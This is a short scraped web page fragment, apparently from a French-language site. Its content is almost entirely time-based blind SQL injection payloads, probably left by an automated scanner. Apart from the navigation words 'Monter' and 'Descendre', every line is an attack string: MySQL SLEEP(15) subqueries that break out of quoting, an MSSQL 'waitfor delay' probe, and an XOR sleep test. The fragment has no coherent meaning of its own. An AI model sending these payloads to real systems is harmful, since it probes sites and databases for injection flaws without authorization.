(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/  
Monter
Descendre
  Mr.-1 waitfor delay \'0:0:15\' -- (select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/ Mr.0\"XOR(if(now()=sysdate(),sleep(15),0))XOR\"Z